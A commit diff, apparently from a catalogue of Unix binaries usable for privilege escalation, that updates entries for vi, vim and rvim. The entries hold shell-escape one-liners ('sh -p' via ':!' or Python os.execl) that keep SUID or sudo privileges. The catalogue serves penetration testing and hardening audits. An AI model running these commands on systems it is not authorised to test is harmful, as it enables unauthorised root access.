Fix and add SUID to other vi

Related to #39.
This commit is contained in:
Andrea Cardaci 2018-12-03 15:55:12 +01:00
parent e066c22c1f
commit 32b113b003
3 changed files with 5 additions and 1 deletions

View File

@ -14,7 +14,7 @@ functions:
- code: rvim file_to_read
suid:
- description: This requires that `rvim` is compiled with Python support.
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- description: This requires that `rvim` is compiled with Python support.
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

View File

@ -18,6 +18,8 @@ functions:
- code: vi file_to_read
suid:
- code: ./vi -c ':!/bin/sh -p'
- description: This requires that `vi` is compiled with Python support.
code: ./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- code: sudo vi -c ':!/bin/sh'
- description: This requires that `vi` is compiled with Python support.

View File

@ -18,6 +18,8 @@ functions:
- code: vim file_to_read
suid:
- code: ./vim -c ':!/bin/sh -p'
- description: This requires that `vim` is compiled with Python support.
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- code: sudo vim -c ':!/bin/sh'
- description: This requires that `vim` is compiled with Python support.